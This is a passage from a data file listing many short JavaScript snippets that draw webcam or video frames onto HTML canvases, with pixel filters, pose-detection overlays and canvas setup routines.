navigator.mediaDevices.getUserMedia({\n video: { width: 1280, height: 720 },\n });\n\n // We set the object to be the stream\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\n await video.play();\n\n // size the canvases to be the same size as the video\n console.log(video.videoWidth, video.videoHeight);\n\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n\n faceCanvas.width = video.videoWidth;\n faceCanvas.height = video.videoHeight;\n}","function paintToCanvas() {\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\n // Since the width of the photobooth is appx 1330px \n // the canvas will also take width of 1330px\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\n // therefore you can change the aspect ratio by changing the width and height of the canvas\n // if you remove the width 100% from its css , it will regain the size of 640*480\n\n // width and height = 640 * 480 \n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\n // setting canvas width and height = 640*480\n const width = video.videoWidth;\n const height = video.videoHeight;\n [canvas.width, canvas.height] = [width, height];\n\n // the video playing in the canvas is not a actual video\n // but rather a image showing every few millisecond (giving us a video like visual)\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\n return setInterval(() => {\n // ctx.drawImage will draw the image captured from the video feed\n // 0,0 are the x and y coordinate of the top left corner of the canvas\n // it will indicate that from which point the image drawing will start\n // width and height is of the destination contex(canvas)\n ctx.drawImage(video, 0, 0, width, height);\n\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\n\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \n // pixels will store the image data in form of array of rgb values for individual pixels\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // Rendering different effects for the pixels\n // Every image captured from the video feed every 16ms will go through these function everytime\n // The pixels returned by these function will have different rgb values as compared to the original pixels\n\n // This is for red filter\n // pixels = redEffect(pixels);\n\n // This is for rgbSplit(tiktok) filter\n // pixels = rgbSplit(pixels);\n\n // This is for green screen\n pixels = greenScreen(pixels);\n\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\n // ctx.globalAlpha = 0.8\n\n // this will put the modified pixels back into the canvas\n // thus showing the filter on the video\n ctx.putImageData(pixels, 0, 0)\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.fillStyle = '#000000';\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\n ctx.lineWidth = 5;\n ctx.fillStyle = '#00FFFF';\n ctx.strokeStyle = '#00FFFF';\n\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function installcanvas () {\n\n // if there's an iframe\n var iframe = document.getElementById('tool_content');\n if (iframe) {\n \t\taddEventListener(\"message\", installfromiframe('#content', 'about:blank', ''), false);\n } \n \n // multiple videos as per\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \n else {\n\n // video locations that may need a click to access \n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\n // known video locations\n var matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n\n // if any known videos exist, launch those\n if (matches) {\n\n // loop through all known videos\n for (var i = 0; i < matches.length; i++) {\n\n // pull out the video number\n matches[i] = matches[i].replace(/\\D/g, \"\");\n\n // parameters for the videoplayer\n var parameter = {};\n\n // only supporting mp4 at the moment\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data \n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('
    ');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n parameter.playing = false;\n\n // find if the video is playing\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\n parameter.playing = true;\n }\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n // install player\n install(container, parameter);\n }\n }\n }\n\n // click on all possible video containers, watch if things change\n if (containers.length != 0) {\n\n // watch for changes for each container\n for(var i = 0; i < containers.length; i++) {\n\n // use mutation observer as per \n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\n var observer = new MutationObserver(function (mutations) {\n mutations.forEach(function (mutation) {\n\n // see if changes are to the child of the container\n if (mutation.type === 'childList') {\n\n // look through each child\n Array.prototype.forEach.call(mutation.target.children, function (child) {\n\n // match (only once per video) -- same code as if (matches) branch\n matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n if (matches) {\n for (var i = 0; i < matches.length; i++) {\n matches[i] = matches[i].replace(/\\D/g, '');\n\n // parameters for the videoplayer\n var parameter = {};\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data for time\n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('
    ');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n parameter.playing = false;\n\n // install player\n install(container, parameter);\n }\n }\n }\n });\n }\n });\n });\n\n // actually start observing\n observer.observe(containers[i], {\n childList: true,\n characterData: true,\n subtree: true\n });\n }\n\n // simulate click, waits for link to appear\n $('.media_comment_thumbnail').click(); \n } \n\n // no possible video containers, apologize\n else {\n apologize();\n }\n }\n}","function init() {\n\t\tconsole.log('init');\n\t\t// Put event listeners into place\n\t\t// Notice that in this specific case handlers are loaded on the onload event\n\t\twindow.addEventListener(\n\t\t\t'DOMContentLoaded',\n\t\t\tfunction() {\n\t\t\t\t// Grab elements, create settings, etc.\n\t\t\t\tvar canvas = document.getElementById('canvas');\n\t\t\t\tvar context = canvas.getContext('2d');\n\t\t\t\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\n\t\t\t\tvar video = document.getElementById('video');\n\t\t\t\tvar mediaConfig = {\n\t\t\t\t\tvideo: true\n\t\t\t\t};\n\t\t\t\tvar errBack = function(e) {\n\t\t\t\t\tconsole.log('An error has occurred!', e);\n\t\t\t\t};\n\n\t\t\t\tlet aspectRatio = 2;\n\n\t\t\t\t// Put video listeners into place\n\t\t\t\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n\t\t\t\t\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\n\t\t\t\t\t\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Trigger photo take\n\t\t\t\tdocument.getElementById('snap').addEventListener('click', function() {\n\t\t\t\t\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\n\t\t\t\t\tlet heigth = 480;\n\n\t\t\t\t\tcontext.save();\n\t\t\t\t\tcontext.translate(480 * aspectRatio, 0);\n\t\t\t\t\tcontext.scale(-1, 1);\n\t\t\t\t\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\n\t\t\t\t\tcontext.restore();\n\t\t\t\t\tstate.photoSnapped = true; // photo has been taken\n\t\t\t\t});\n\n\t\t\t\t// Trigger when upload button is pressed\n\t\t\t\tif (document.getElementById('upload'))\n\t\t\t\t\tdocument.getElementById('upload').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// uploadImage();\n\t\t\t\t\t\tselectImage();\n\t\t\t\t\t});\n\n\t\t\t\tif (document.getElementById('upload_search'))\n\t\t\t\t\tdocument.getElementById('upload_search').addEventListener('click', () => {\n\t\t\t\t\t\tdocument.getElementById('video-spinner').style.display = 'block';\n\t\t\t\t\t\t// searchImage();\n\t\t\t\t\t});\n\t\t\t},\n\t\t\tfalse\n\t\t);\n\t}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n ctx.drawImage(video, 0, 0, 640, 480);\n // We can call both functions to draw all keypoints and the skeletons\n drawKeypoints();\n drawSkeleton();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function startVideo(){\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').\n drawImage(video, 0, 0, canvas.width, canvas.height);\n $scope.sendPicture();\n}","function paintToCanvas() {\n // We need to make sure canvas and video are the same width/height\n const width = video.videoWidth;\n const height = video.videoHeight;\n canvas.width = width;\n canvas.height = height;\n\n // Every couple seconds, take image from webcam and put it onto canvas\n return setInterval(() => {\n // drawImage: pass it an image/video and it will place it on the canvas\n ctx.drawImage(video, 0, 0, width, height);\n\n // Take pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\n\n // Play around with pixels\n switch (this.className) {\n case 'red':\n pixels = redEffect(pixels);\n break;\n case 'split':\n ctx.globalAlpha = 0.1;\n pixels = rgbSplit(pixels);\n break;\n case 'green':\n pixels = greenScreen(pixels);\n }\n\n // Put pixels back into canvas\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function drawCameraIntoCanvas() {\n // Draw the video element into the canvas\n drawKeypoints();\n window.requestAnimationFrame(drawCameraIntoCanvas);\n}","function currentFrameCanvas(){\n let video = document.getElementById(\"video_id\");\n canvas = document.getElementById('screenShot');\n canvas.width = width;\n canvas.height = height;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n}","function drawCameraIntoCanvas() {\n\n // draw the video element into the canvas\n ctx.drawImage(video, 0, 0, video.width, video.height);\n \n if (body) {\n // draw circle for left and right Eye\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\n\n\n\n // draw left Eye\n ctx.beginPath();\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n // draw right Eye\n ctx.beginPath();\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\n ctx.fillStyle = 'white';\n ctx.fill();\n\n\n ctx.beginPath();\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\n ctx.lineWidth = 10;\n ctx.strokeStyle = 'white';\n ctx.stroke();\n }\n requestAnimationFrame(drawCameraIntoCanvas);\n}","function createCanvas() {\n // console.log(parseInt(pixelByPixel.value));\n selectedFrameData = null;\n selectedFrameData = {};\n layerCount = 0;\n framesArray = [],\n currentFrame = 0,\n playbackRunning = false,\n playbackInterval = null,\n unsavedFrame = false;\n removeListeners();\n resetFrames();\n resetLayers();\n resetSelectionState();\n addDisplayFrame(0);\n setCurrentFrame(0);\n initCanvas(\"2d\", parseInt(pixelByPixel.value));\n}","function paintToCanvas() {\n // get the width and height of the actual live feed video\n const width = video.videoWidth;\n const height = video.videoHeight;\n\n // set canvas width and height to be the same as the live feed video\n canvas.width = width;\n canvas.height = height;\n\n // every 16ms, take the image from the webcam and put it into the canvas\n return setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height);\n\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // mess with them\n // pixels = redEffect(pixels);\n\n // pixels = redSplit(pixels);\n // ctx.globalAlpha = 0.8;\n\n pixels = greenScreen(pixels);\n\n // put them back\n ctx.putImageData(pixels, 0, 0);\n }, 16);\n}","function initPreview() {\n\t\n\t//clear the canvas first\n\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\n\t\n\t//what file type are we dealing with\n\tif (fileType == \"VIDEO\") {\n\t\t\n\t\tsampleWidth = 50;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\tvideoArea.width = sampleWidth;\n\t\tvideoArea.height = sampleHeight;\n\t\t\n\t\t//reset size of the canvas\n\t\tcanvasPreview.width = sampleWidth;\n\t\tcanvasPreview.height = sampleHeight;\n\t\tpreviewArea.style.width = sampleWidth + \"px\";\n\t\tpreviewArea.style.height = sampleHeight + \"px\";\n\t\t\n\t\t//set the video in the videoArea so it starts playing\n\t\tvideoArea.type = file.type;\n\t\tvideoArea.src = fileURL;\n\t\t\n\t\t//set fileWidth\n\t\tfileWidth = sampleWidth;\n\t\tfileHeight = sampleHeight;\n\t\t\n\t\t//make a sample first\n\t\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\n\t\t\n\t\t//initBuffers();\n\t\t\n\t\t\n\t\t/*document.onclick = function() {\n\t\t\tinitCubes();\n\t\t}*/\n\t\t\n\t\t//keep updating cubes based on the options\n\t\t//startUpdateCubesInterval();\n\t\tsetTimeout(initPlanes, 2000);\n\t\tstartUpdatePlanesInterval();\n\t\tstopUpdateCubesInterval();\n\t\t\n\t\t//keep rendering the screen based on mouse/camera position\n\t\tstartThreeInterval();\n\n\t\t\n\t} else if (fileType == \"IMAGE\") {\n\t\t\n\t\t\n\t\tsampleWidth = 30;\n\t\tsampleHeight = Math.floor((9/16)*sampleWidth);\n\t\t\n\t\t//load the image data and display in the preview\n\t\tvar img = new Image();\n\t\timg.onload = function() {\n\n\t\t\t//get the image dimensions so we can drawImage at the right aspect ratio\n\t\t\tsetNewFileDimensions(img);\n\t\t\t\n\t\t\t//draw the image onto the canvas\n\t\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\n\t\t\t\n\t\t\t//initBuffers();\n\t\t\tinitCubes();\n\t\t\t//initPlanes();\n\t\t\t\n\t\t\t//keep updating cubes based on the options\n\t\t\tstartUpdateCubesInterval();\n\t\t\tstopUpdatePlanesInterval();\n\t\t\t\n\t\t\t//keep rendering the screen based on mouse/camera position\n\t\t\tstartThreeInterval();\n\n\t\t}\n\t\t\n\t\t//set the src of our new file\n\t\timg.src = fileURL;\n\t\t\n\t\t//we should clear the video tag\n\t\tvideoArea.type = \"\";\n\t\tvideoArea.src = \"\";\n\t\tvideoArea.pause();\n\t\t\n\t\t//we should stop sampling the video if its there\n\t\tstopSamplingVideo();\n\t\t\n\t}\n\t\n}","function FrameInitalizer(canvas, form, video, options) {\n //Opt parse.\n options = options || {};\n this.drawFrame = options.override_frame_draw || this._drawFrame\n this.drawImage = options.override_image_draw || this._drawImage\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\n //I might add a string to the OnChange functions that says where they were called from.\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\n //A return a reference to the previous state?\n //You shouldn't need these unless you do web worker stuff anyways.\n this.onImageChange = options.on_image_change_functor || (function(self) {\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\n });\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\n });\n this.source = options.source || null;\n this.number_of_frames = options.number_of_frames || 1;\n //Mandatory positional args.\n this.canvas = canvas;\n this.form = form;\n this.video = video; //video element;\n this.frames = [new _FrameTracker(0)];\n this.frame_index = 0;\n this.updateFrameList(1);\n }","function initialize() {\n // Create a canvas element to which we will copy video.\n canvas = document.createElement('canvas');\n var webcamDimensions = webcam.getDimensions();\n canvas.width = webcamDimensions.width;\n canvas.height = webcamDimensions.height;\n\n // We need a context for the canvas in order to copy to it.\n context = canvas.getContext('2d');\n\n // create an AR Marker detector using the canvas as the data source\n detector = ardetector.create( canvas );\n\n // Create an AR View for displaying the augmented reality scene\n view = arview.create( webcam.getDimensions(), canvas );\n\n // Set the ARView camera projection matrix according to the detector\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\n\n // Place the arview's GL canvas into the DOM.\n document.getElementById(\"application\").appendChild( view.glCanvas );\n }","function setup() {\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\n background(0);\n stroke(0, 255, 0);\n noFill();\n\n // make sure the framerate is the same between sending and receiving\n frameRate(30);\n\n // Set to true to turn on logging for the webrtc client\n WebRTCPeerClient.setDebug(true);\n\n // To connect to server over public internet pass the ngrok address\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\n\n // Start the peer client\n WebRTCPeerClient.initPeerClient();\n\n // start your video\n // your webcam will always appear below the canvas\n myVideo = createCapture(VIDEO);\n myVideo.size(width, height);\n myVideo.hide();\n\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\n // otherVideo = createCapture(VIDEO);\n // otherVideo.size(width, height);\n\n}","function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\n\n const width = video.videoWidth; //getting actual height and width of video\n const height = video.videoHeight;\n canvas.width = width; //setting the canvas width and height accordingly \n canvas.height = height;\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\n // console.log(pixels)\n // debugger;\n // pixels = redeffect(pixels) //here redeffect is called\n // console.log(hola);\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\n ctx.globalAlpha=0.8; \n // pixels = greenscreen(pixels)\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\n }, 16);\n}","function setup() {\n createCanvas(640, 480);\n video = select(\"video\") || createCapture(VIDEO);\n video.size(width, height);\n\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\n select(\"#status\").hide();\n });\n\n poseNet.on(\"pose\", (newPoses) => {\n poses = newPoses;\n });\n\n // Hide the video element, and just show the canvas\n video.hide();\n}","function ytInject() {\n injectStyle();\n injectCanvas();\n injectButton();\n\n $(window).resize(function() {\n var main = $('#vt-main-div').get(0);\n var canvas = $('#vt-canvas').get(0);\n\n main.style.height = $('.video-stream').height();\n main.style.width = $('.video-stream').width();\n $('#vt-canvas').height($('vt-main-div').height());\n $('#vt-canvas').width($('vt-main-div').width());\n\n //Scale the canvas to achieve proper resolution\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\n canvas.style.width=$('#vt-main-div').width() + \"px\";\n canvas.style.height=$('#vt-main-div').height() + \"px\";\n });\n}","setup(canvas) {\n this.engine.renderer.setup(canvas);\n this.start();\n }","function start() {\n if (initialized)\n return;\n\n let myCanvas = document.getElementById(\"canvas\");\n myCanvas.classList.toggle(\"hide\");\n\n let button = document.getElementById(\"webcamButton\");\n button.classList.add(\"hide\");\n\n window.ctx = myCanvas.getContext('2d', {alpha: false});\n\n var mycamvas = new camvas(window.ctx, processFrame);\n initialized = true;\n}","function drawVedio() {\n setTimeout(() => {\n canvas.getContext(\"2d\").drawImage(video, 0, 0, 100, 100);\n drawVedio();\n }, 0);\n }","function setupMotionDetection() {\n md_canvas = document.getElementById('mdCanvas');\n test_canvas = document.getElementById('testCanvas');\n md_canvas.width = vid_width;\n md_canvas.height = vid_height;\n}","function prepareCanvas() {\n canvas = window._canvas = new fabric.Canvas('canvas');\n canvas.backgroundColor = '#ffffff';\n canvas.isDrawingMode = 1;\n canvas.freeDrawingBrush.color = \"black\";\n canvas.freeDrawingBrush.width = 1;\n canvas.renderAll();\n //setup listeners \n canvas.on('mouse:up', function(e) {\n getFrame();\n mousePressed = false\n });\n canvas.on('mouse:down', function(e) {\n mousePressed = true\n });\n canvas.on('mouse:move', function(e) {\n recordCoor(e)\n });\n}","function setupCanvas() {\n// setup everything else\n\tconsole.log(\"Setting up canvas...\")\n\tcanvas = document.getElementById(\"drone-sim-canvas\");\n\twindow.addEventListener(\"keyup\", keyFunctionUp, false);\n\twindow.addEventListener(\"keydown\", keyFunctionDown, false);\n\twindow.onresize = doResize;\n\tcanvas.width = window.innerWidth-16;\n\tcanvas.height = window.innerHeight-200;\n\tconsole.log(\"Done.\")\n}","function setup() {\n createCanvas(windowWidth, windowHeight);\n capture = createCapture(VIDEO);\n capture.size(windowWidth, windowHeight);\n capture.hide();\n background(255, 0, 200);\n}","function setup() {\n // setup canvas: target\n canvas = createCanvas(640, 480, WEBGL);\n canvas.id('p5canvas');\n background(51);\n\n // setup webcam: source\n video = createCapture(VIDEO);\n video.size(width, height);\n video.id('p5video'); // giving an ID to the video to link to seriously\n video.hide();\n\n // switch between modes\n createP(\"To start, press 'a' for blur or 's' for vignette.\");\n\n // adjust blur\n createP('Adjust Blur');\n blurSlider = createSlider(0, 1, 0.5, 0.01);\n blurSlider.id('blur-slider');\n\n // adjust vignette strength\n createP('Adjust Vignette');\n vignetteSlider = createSlider(0, 100, 50);\n vignetteSlider.id('vignette-slider');\n\n\n // Call Seriously function inside the variable: seriously\n seriously = new Seriously(); // create an object called seriously\n\n // Source: webcam, target: canvas\n src = seriously.source('#p5video');\n target = seriously.target('#p5canvas');\n\n keyReleased();\n\n seriously.go();\n\n\n}","_setupCanvas () {\r\n\t\tthis.canvas = document.createElement('canvas');\r\n\t\tthis.context = this.canvas.getContext('2d');\r\n\r\n\t\tthis.canvas.width = 500;\r\n\t\tthis.canvas.height = 500;\r\n\r\n\t\tlet body = document.getElementById('body');\r\n\t\tbody.appendChild(this.canvas);\r\n\t}","function render(){\n var canvas = $('#canvas')[0];\n var context = canvas.getContext('2d');\n var video = $('#camera')[0];\n\n // copy camera frame from video to canvas so lines can be drawn on\n try{\n context.drawImage(video, 0, 0, video.width, video.height);\n }\n catch(error){\n if(error.name != \"NS_ERROR_NOT_AVAILABLE\"){\n throw error;\n }\n }\n\n // save original canvas\n var subcanvas = $('#binary')[0];\n var subcontext = subcanvas.getContext('2d');\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\n\n // remaining detection\n process(subcanvas);\n\n // flip horizontally\n context.setTransform(1, 0, 0, 1, 0, 0);\n context.translate(canvas.width, 0);\n context.scale(-1, 1);\n\n // draw line\n context.lineWidth = 1;\n context.strokeStyle = 'green';\n context.beginPath();\n context.moveTo(canvas.width/4, canvas.height/2);\n context.lineTo(canvas.width*3/4, canvas.height/2);\n context.moveTo(canvas.width/2, canvas.height*3/8);\n context.lineTo(canvas.width/2, canvas.height*5/8);\n context.stroke();\n\n context.strokeStyle = 'blue';\n context.beginPath();\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\n context.closePath();\n context.stroke();\n\n requestAnimationFrame(render);\n }","initialiseCanvas(){\n let canvas = document.querySelector(\".genetic-art .canvas_container .result\");\n canvas.width = this.modelData.width;\n canvas.height = this.modelData.height;\n }","function setCanvas(){\n _canvas = document.getElementById('canvas');\n _stage = _canvas.getContext('2d');\n _canvas.width = _puzzleWidth;\n _canvas.height = _puzzleHeight;\n}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","function setup() {\n createCanvas(1280, 480); // Create a display window\n img = loadImage('lk.jpg'); // Load the image\n capture = createCapture(VIDEO); // Get the capture video\n capture.id(\"video_elemyent\"); // Set the video Id\n capture.size(640, 480); // Define video size to 640x480\n capture.hide() // Hide the streaning video\n faceapi = ml5.faceApi(capture, faceReady);\n}","function setup() {\n let canvasDiv = document.getElementById('animation');\n canvasWidth = canvasDiv.offsetWidth;\n canvasHeight = canvasDiv.offsetHeight;\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\n pipesWidth = canvasWidth / (pipesAmount + 1);\n // Creates canvas\n let canvas = createCanvas(canvasWidth, canvasHeight);\n // Declares the parent div of the canvas\n canvas.parent('animation');\n}","function setCanvas(){\r\n _canvas = document.getElementById('canvas');\r\n _stage = _canvas.getContext('2d');\r\n _canvas.width = _puzzleWidth;\r\n _canvas.height = _puzzleHeight;\r\n _canvas.style.border = \"1px solid black\";\r\n}","init() {\n const wrapper = document.getElementById('canvasWrapper');\n let newCanvas;\n if (!document.querySelector('canvas')) {\n newCanvas = document.createElement('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n newCanvas.setAttribute('id', 'canvas');\n this.context = newCanvas.getContext('2d');\n wrapper.appendChild(newCanvas);\n } else {\n newCanvas = document.getElementById('canvas');\n newCanvas.width = this.width;\n newCanvas.height = this.height;\n this.context = newCanvas.getContext('2d');\n }\n this.style(wrapper);\n }","drawScreen () {\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\n this.context.drawImage(this.video2.canvas, 0, 0);\n this.context.drawImage(this.video1.canvas, 0, 0);\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\n // this.context.putImageData(frame1, 0, 0);\n }\n }","createCanvas() {\n this.canvas = document.createElement('canvas');\n this.canvas.width = this.width * this.resolution;\n this.canvas.height = this.height * this.resolution;\n this.context = this.canvas.getContext('2d');\n }","_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\n this.canvasContainer = document.getElementById('canvasContainer1');\n this.canvas = document.getElementById('canvas1');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 2) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer2');\n this.canvas = document.getElementById('canvas2');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 3) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer3');\n this.canvas = document.getElementById('canvas3');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n } else if (this.numberOfCanvases == 4) {\n this._greyCanvas();\n this.canvasContainer = document.getElementById('canvasContainer4');\n this.canvas = document.getElementById('canvas4');\n this.canvasCtx = this.canvas.getContext(\"2d\");\n this.canvasOffset = 55;\n this.numberOfTracks = 0;\n this.canvas.classList.remove(\"canvas3\");\n this.canvas.classList.add(\"canvas1\");\n this.canvasContainer.classList.remove(\"canvas-container3\");\n this.canvasContainer.classList.add(\"canvas-container1\");\n }\n }","initializeCanvas(){\n\t\tconsole.log(`======] Init Canvas [======`, this.state);\n\n\t\tif(this.state.device.width && this.state.device.height){\n\t\t\tthis.canvas = document.createElement('canvas');\n\t\t\tthis.canvas.id = 